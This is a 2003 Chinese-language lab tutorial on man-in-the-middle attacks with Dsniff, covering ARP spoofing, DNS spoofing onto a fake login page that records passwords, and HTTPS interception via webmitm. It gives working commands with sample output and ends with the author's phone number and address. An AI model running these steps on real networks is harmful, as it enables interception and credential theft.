Man(Monkey)-in-the-Middle Attack Practices, with Dsniff

2xFoucs.net, 2003/08/23, Copyleft by no.7@263.net

_0x0000.[Preface]

Dsniff 是非常著名的嗅探工具集,本文描述在交换的环境下如何使用 Dsniff 中各种工具的组合开展各种 Man(Monkey)-in-the-Middle-Attack,主要分为三个部分,首先是简要介绍中间人攻击的基本原理;然后设计了几个比较典型的实例,从基本的 arpspoof 到比较高级的 HTTPs sniff;最后讨论针对 Dsniff 讨论对中间人攻击的防范措施。

[Table of Content]
_0x0000.[Preface]
_0x0001.[Describe Man(Monkey)-in-the-Middle-Attack]
    |_0001.[Describe Arpspoof]
    |_0010.[Describe Dnsspoof]
    |_0011.[Describe Monkey-in-the-Middle]
_0x0010.[Dsniff Tools Introduction]
_0x0011.[Practices]
    |_0001.[Practice one: Arpspoof]
    |_0010.[Practice two: Dnsspoof]
    |_0011.[Practice three: Sniff HTTPS]
_0x0100.[Summary]
_0x0101.[Finding Dsniff]
_0x0110.[the End]
_0x0111.[Contact]
_0x1000.[Reference]

#define PLAN "Switched LAN for these practices, 192.168.0.0/24"

#define EXTERNAL_SERVER "EXTERNAL Server, TELNET\WEB\HTTPS, etc."
#define DNS "DNS Server used by PLAN"

#define GW "GateWay of PLAN, Win2K with two NICs, private address is 192.168.0.1/32"
#define ALICE "the Victim, Windoze, 192.168.0.2/32"
#define EVE "the Man in the Middle, Linux, 192.168.9.3/32"

#define MAC_GW, "Hardware Address of GW"
#define MAC_ALICE, "Hardware Address of ALICE"
#define MAC_EVE "Hardware Address of EVE"

_0x0001.[Describe Man(Monkey)-in-the-Middle-Attack]

_0001.[Describe Arpspoof]

  • ARP Request Packet Structure
    [BroadCasting Address].[Source MAC Address].[0806].[0001].[06].[04].[0001:Request].[Sender Mac Address].[Sender IP Address].[00 00 00 00 00 00].[Target IP Address]
  • ARP Reply Packet Structure
    [Desination Mac Address].[Source MAC Address].[0806].[0001].[06].[04].[0002:Reply].[Sender MAC Address].[Sender IP Address].[Target IP Address].[20 20 20 ...:Trailer Chars]

ALICE 通过 GW 访问外部服务器 EXTERNAL_SERVER 的正常过程如下:

  1. ALICE 首先在本地的 ARP 缓存中查找 GW 的 ip->MAC 地址映射,假如存在则转到第4步,否则到第2步
  2. ALICE 发出关于 GW 的 ARP Request 请求,交换机向各个端口广播该请求
  3. GW 收到此请求,向 ALICE 发送 ARP Reply 回应,携带自身的 MAC 地址并记录 ALICE's MAC
  4. ALICE 把访问外部服务器的 IP 数据包封装成帧,帧首部写入 GW's MAC,通过 GW 路由访问外部服务器
  5. 路由为:ALICE --> GW --> EXTERNAL_SERVER
ALICE --[BroadCasting Address][who has the MAC of GW? tell ALLICE]--> [[[switch]]] ====> Others
ALICE <---- [[[switch]]] <--[MAC_ALICE][ALICE, this is the MAC of GW]-- GW

ALICE --[MAC_GW][IP packet][Trail]--> [[[switch]]] ----> GW ----> EXTERNAL_SERVER

EVE 对 ALICE 进行 ARPspoof 的完整过程如下:

  1. EVE 配置本机为 IP Forwarding 模式,并运行 dsniff 主程序对本地数据链路层进行嗅探
  2. EVE 持续向 ALICE 发送关于 GW 的 ARP Reply,携带欺诈的映射关系 GW_ipaddr --> EVE_MAC
  3. ALICE 发出关于 GW 的 ARP Request 请求,交换机向各个端口广播该请求
  4. ALICE 立即接收到 EVE 发送的 ARP Reply 并将欺诈的映射关系写入本地的 ARP 缓存
  5. 来自 GW 的 ARP Relply 到达的时候,ALICE 查看本地的 ARP 缓存发现已经存在相关映射,则忽略该正确的 Reply
  6. ALICE 把访问外部服务器的 IP 数据包封装成帧,帧首部写入 MAC_GW(spoofed with EVE's MAC)
  7. 此时的路由为:ALICE --> EVE --> GW --> EXTERNAL_SERVER
EVE -- [MAC_ALICE][ALICE, this is the MAC of GW] --> [[[switch]]] ----> ALICE
ALICE <-- [MAC_ALICE][ALICE, this is the MAC of GW(EVE's MAC)](ignored by ALICE, spoofed by EVE)

ALICE --[BroadCasting Address][who has the MAC of GW? tell ALLICE]--> [[[switch]]] ====> Others
ALICE <-- [ALICE, this is the MAC of GW(EVE's MAC)](now received by ALICE, spoofed by EVE)
ALICE <-- [ALICE, this is the MAC of GW](true reply from GW, but ignored by ALICE)

ALICE -- [MAC_EVE][IP packet] --> [[[switch]]] ----> EVE(dsniffing) ----> GW ----> EXTERNAL_SERVER

_0010.[Describe Dnsspoof]

ALICE 访问域名为 xxx.yyy.zzz 的外部服务器的正常过程如下:

  1. ALICE 要访问域名为 xxx.yyy.zzz 的外部服务器,首先向 PLAN 使用的 DNS 发出询问
  2. DNS 服务器接收该询问负责查询到 xxx.yyy.zzz 的 ipaddr 并把结果返回
  3. ALICE 收到 DNS 回应,使用该 ipaddr 访问 xxx.yyy.zzz
ALICE --[MAC_GW][DNS query xxx.yyy.zzz's ipaddr?]--> [[[switch]]] ----> GW -----> DNS
ALICE <---- [[[switch]]] <---- GW <--[DNS answer, xxx.yyy.zzz's ipaddr]-- DNS
ALICE --[MAC_GW][dst ip: xxx.yyy.zzz's ipaddr]--> [[[switch]]] ----> GW ----> xxx.yyy.zzz

EVE 对 ALICE 进行 Dnsspoof 的过程如下:

  1. 为了截获ALICE 发出的 DNS 请求首先使用 arpspoof:ALICE --> EVE --> GW --> EXTERNAL_SERVER
  2. EVE 运行 dnsspoof 以截获对 xxx.yyy.zzz 域名的 DNS 请求
  3. ALICE 要访问域名为 xxx.yyy.zzz 的外部服务器,向 PLAN 使用的 DNS 发出询问
  4. 该请求通过 EVE 时候被 dnsspoof 截获,dnsspoof 立即发送欺诈的 DNS 回应:xxx.yyy.zzz --> EVE's ipaddr(or any)
  5. ALICE 将此欺诈的 DNS 条目缓存
  6. DNS 服务器返回正确的解析,但是被 ALICE 忽略
  7. ALICE 访问域名 xxx.yyy.zzz 其实是访问 EVE's ipaddr
arpspoofing(GW_ipaddr --> MAC_EVE) ... ...
ALICE -->[MAC_EVE][DNS query xxx.yyy.zzz's ipaddr?]--> [[[switch]]] ----> EVE(dnsspoofing) ----> ...
EVE(capture the DNS query from ALICE) --[MAC_ALICE][DNS answer, xxx.yyy.zzz's ipaddr(EVE's ipaddr)]--> [[[switch]]]
ALICE <--[DNS answer, xxx.yyy.zzz's ipaddr(EVE's ipaddr)](received, spoofed by EVE!)--

ALICE <--[DNS answer, xxx.yyy.zzz's ipaddr](true DNS answer from DNS, but ignored by ALICE)--

ALICE --[EVE's addr]--> [[[switch]]] ----> EVE

_0011.[Describe Monkey-in-the-Middle]

  1. 首先使用 arpspoof:ALICE --> EVE --> GW --> EXTERNAL_SERVER
  2. EVE 启动 webmitm 程序,它将对接收到的HTTP/HTTPS 流量进行透明的代理
  3. EVE 根据 https://www.yyy.zzz 的 SSL 证书相关信息配置 webmitm 面向 ALICE 的证书
  4. 假如 ALICE 访问 http(s)://www.yyy.zzz
  5. webmitm 充当 SSL 代理建立两条 SSL 连接,一条从 ALICE --> EVE,另一条从 EVE --> https://www.yyy.zzz
  6. webmitm 将把 Dsniff 产生的证书发送给 ALICE,这样就能破解这条 SSL 连接的数据了
  7. ALICE 的浏览器同 webmitm 建立 SSL 会话的时候,浏览器会给出告警信息但 ALICE 忽略这些信息接收该证书
  8. webmitm 将从 ALICE 浏览器端发送来的数据解密后呈现给 EVE
arpspoofing(GW_ipaddr --> MAC_EVE) ... ...
one_side: ALICE <--[SSL Certificate Issued to ALICE by webmitm(EVE)]--> EVE(webmitm)
the_other: EVE(webmitm) <--[SSL Certificate Issued to EVE by www.yyy.zzz]--> www.yyy.zzz

_0x0010.[Dsniff Tools Introduction]

  1. dsniff [-cdmn] [-i interface] [-s snaplen] [-f servicess] [-t trigger[,..]]] [-r|-w savefile] [expression]
    • -c,嗅探单工、异步的 TCP 连接,和 arpspoof 配合
    • -d,激活调试模式
    • -m,启动协议的自动检测
    • -n,不进行名称解析
    • -i,指定嗅探的接口
    • -s,指定分析的报头长度
    • -t,装载触发事件
    • -r|w,嗅探会话的读取或者存贮
    • expression,使用 tcpdump filter 表达式指定流量
  2. arpspoof [-i interface] [-t target] host
    • e.g, [EVE]#arpspoof -i eth0 GW
      对 PLAN 内所有主机的进行 arpspoof,建立欺诈的 ARP 映射关系:GW_ipaddr --> EVE's MAC
    • [EVE]#arpspoof -i eth0 ALICE GW
      仅对 ALICE 主机进行 arpspoof,建立欺诈的 ARP 映射关系:GW_ipaddr --> EVE's MAC
  3. dnsspoof [-i interface] [-f hostfile] expression
    -f hostsfile: Specify the pathname of file in hosts format. Only one hostname allowed per line no aliases, although hostnames may contain wildcards.
  4. tcpkill [-i interface] [-1 ... 9] [expression : tcpdump filter]
    为了对目标进行嗅探可能希望中止已有的连接并在新连接建立的阶段实施攻击,通过发送 RTS TCP Flag 的数据包中止网络中已经建立的 TCP 连接,[-1 ... 9]控制着 RST 数据包的相对速率,默认为3
  5. tcpnice [-I] [-i interface] [-n increment] expression
    通过注入小的 TCP 窗口宣告和 ICMP source quench 包主动将流量速度减慢。控制指定 TCP 连接的速率以适应嗅探器
  6. urlsnarf [-n] [-i interface] [[-v] pattern [expression]]
    从 HTTP 流量中获取所有 URL 信息
  7. filesnarf, mailsnarf, msgsnarf
  8. Webspy: 使用从网络截获的 URL 将受害者浏览过的页面显示在攻击者的浏览器上

_0x0011.[Practices]

		  |--[GW, win2K with two NIC]--[External Networks]
		  |
		[[[switch/HUB]]]
		  |	    |
		  |	    |
		[ALICE]   [EVE: Linux, me]

_0001.[Practice_one: arpspoof]

Step one. spoofing

  1. <EVE TM1>#fragrouter -B1
    EVE 首先把本地配置为 IP 转发模式,使用 fragrouter 工具可以做到,而且可以即时的看到被转发的数据
  2. <EVE TM2>#arpspoof –t 192.168.0.2 192.168.0.1
    ========arpspoofing===================================================
    | DST_MAC   | SRC_MAC | ARP Packet
    ======================================================================
    | MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_EVE
    | MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_EVE
    | ... ...
    ======================================================================
    	
  3. <EVE TM3>#dsniff -cm
    ==============================================================
    ... ...
    ==============================================================

Step two. sniffing

  1. <ALICE C:\>$telnet xxx.xxx.xxx.xxx
  2. <EVE TM3>#dsniff -cm
    ==============================================================
    Password:
    ... ...
    ==============================================================
    假如 AlICE 建立的是高速连接,例如使用浏览器浏览网页等,嗅探器可能会跟不上而没有输出,这时候可以尝试使用 tcpnice 适当的减缓 ALICE 连接的速率,这对嗅探者来说是不错的工具
  1. <ALICE IExplorer>http://xxx.yyy.zzz
  2. <EVE TM4>#tcpnice 10 host 192.168.0.2
  3. <EVE TM3>#dsniff -cm
  4. OR <EVE TM3>#urlsnarf
    ==============================================================
    urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
    192.168.0.2--[date] "GET http://xxx.yyy.zzz /HTTP/1.1"--"-" "... ..."
    ... ...
    ==============================================================
  5. OR <EVE TM3>#webspy

Step three. analysis

  1. <ALICE C:\>arp -a
    ==============================================================
    | Internet Address | Physical Address | Type    |
    ==============================================================
    | 192.168.0.1      | MAC_EVE          | Dynamic |
    | 192.168.0.3      | MAC_EVE          | Dynamic |
    ==============================================================
    	
  2. 中止顺序为:arpspoof --> dsniff --> fragrouter
    <EVE TM2>#arpspoof -t 192.168.0.2 192.168.0.1
    CTRL^C
    =====================================================================
    | DST_MAC   | SRC_MAC | ARP Packet
    =====================================================================
    | MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_GW
    | MAC_ALICE | MAC_EVE | 0806 42: arp reply 192.168.0.1 is-at MAC_GW
    =====================================================================
    	
    arpspoof 在开始时获得 GW 实际的硬件地址 MAC_GW;Ctrl^C 结束前会先向 ALICE 发送两次正确的 arp reply

_0010.[Practice_two: Dnsspoof]>

Step one. prepare to dnsspoof

EVE 首先编译安装并运行支持 PHP 脚本的 APACHE WEB 服务器,然后下载 www.yyy.zzz 的主页面将登录表单的 action 修改为 action = pass.php,pass.php 是一个简单的 PHP 脚本程序,功能是将提交表单中的用户名和密码信息记录到文件 passwd 中,然后把页面重定向到www.yyy.zzz 的实际 IP 地址。

Step two. arpspoof and dnsspoof

  1. <EVE TM1>#fragrouter -B1
  2. <EVE TM2>#arpspoof -t 192.168.0.2 192.168.0.1
  3. <EVE TM3>#vi hosts
    ==hosts content==
    192.168.0.3 www.xfocus.net
    (just an example) ip_address any.domainname.youwanttospoof
    ==hosts end==
  4. <EVE TM3>#dnsspoof -f hosts
    ==============================================================
    dnsspoof listen on interface eth0
    ==============================================================

Step three. sniffing

  1. <ALICE IExplorer>http://www.yyy.zzz
  2. <EVE TM3>#dnsspoof -f hosts
    ========Screen=================================================
    # 192.168.0.2:4934 > DNS:53 243+A? www.yyy.zzz
    # 192.168.0.2:4934 > DNS:53 143+A? www.yyy.zzz
    ===============================================================
    dnsspoof 捕捉到这个 DNS 请求,发出欺诈的解析 www.yyy.zzz --> 192.168.0.3(EVE himsef)
  3. <ALICE IExplorer>http://www.yyy.zzz 将看到 EVE 上事先准备好的陷阱页面

_0011.[Practice_three: sniff HTTPS with webmitm]>

Step one: preparation
选择一个 HTTPS 站点,记录下证书的基本信息供 webmitm 制作证书使用,例如 xFocus 证书的基本信息为:

    Xfocus SSL Certificate:
    [Issued To]
  • Common Name (CN) : www.xfocus.org
  • Orgnazation (O) : Xfocus
  • Orgnazation Unit (OU) : Xfocus Team
  • Serial number : 01

  • [Issued By]
  • Common Name : Xfocus CA
  • Orgnaztaion (O) : Xfocus
  • Orgnazation (OU) : Xfocus
  • ST: Beijing
  • [Volidity]
  • Issued On : 05/23/2003
  • Expired On : 05/20/2013

  • ... ...

Step two: arpspoof at first

  1. <EVE TM1>#fragrouter -B1
  2. <EVE TM2>#arpspoof -t 192.168.0.2 192.168.0.1

Step two: sniffing HTTPS

  1. <EVE TM3>#webmitm
    按照提示根据 Step one 中记录的信息制作面向 ALICE 的 SSL 证书
  2. ALICE 使用浏览器访问 xFocus 的论坛,看到的证书即是 webmitm 签发的证书

_0x0100.[Summary]

  1. arpspoof 和 dnsspoof 都是采用了提前响应的方式实现中间人攻击,arpspoof 在数据链路层,dnsspoof 在网络层,这是 Dsniff 工具集的基础,我们可以从这一点出发设计其他的嗅探;
  2. tcpnice 和 tcpkill 是利用了 tcp 协议流量控制和三次握手的规律,这启发我们利用 tcp 协议来主动进行一些连接控制;
  3. webmitm 和 sshmitm 又是利用中间人攻击实现了对 SSL/SSH 的嗅探;
  4. 注意二者都利用协议无连接的性质,所以提前响应起到了效果,我们可以这个角度研究其他的协议。

_0x0101.[Finding Dsniff]

  • 对于主机:
    <ALICE C:\> arp -a \\ 察看本地 ARP 缓存是否中毒(存在不同的 IP 对应了相同的 MAC 地址)
    <ALICE C:\> traceroute xxx.yyy.zzz \\ 注意近端路由是否正常
  • 对于网络:
    ... ...

_0x0110.[the End]

It takes me three days to complete this page, thanks for viewing at first, any advice is appreciated. I am a sincere friend of xFocus-net and I am willing to do something for it. Three days before, I read the Introduction in Xfocus forum and I am very interested of the xConference, especially the topic of wirlless security because that I am working in wirlless communication.
So I post this page to have a try, but I am not very confident. I wish that I could have a chance to present this conference just to listen, if possible, I am willing to pay myself all. And I will improve some parts later, there are still many interesting games underground with Dsniff.
Thx.

_0x0111.[Contact]

  • xFoucs-Forum-Account:r00t
  • E-mail: no.7@263.net(Recommened!)
  • Homepage: http://211.143.123.18/
  • OICQ: 39900452
  • Mobile-Number: 13831909884
  • AGE: 22
  • Address: XingTai, HeBei Province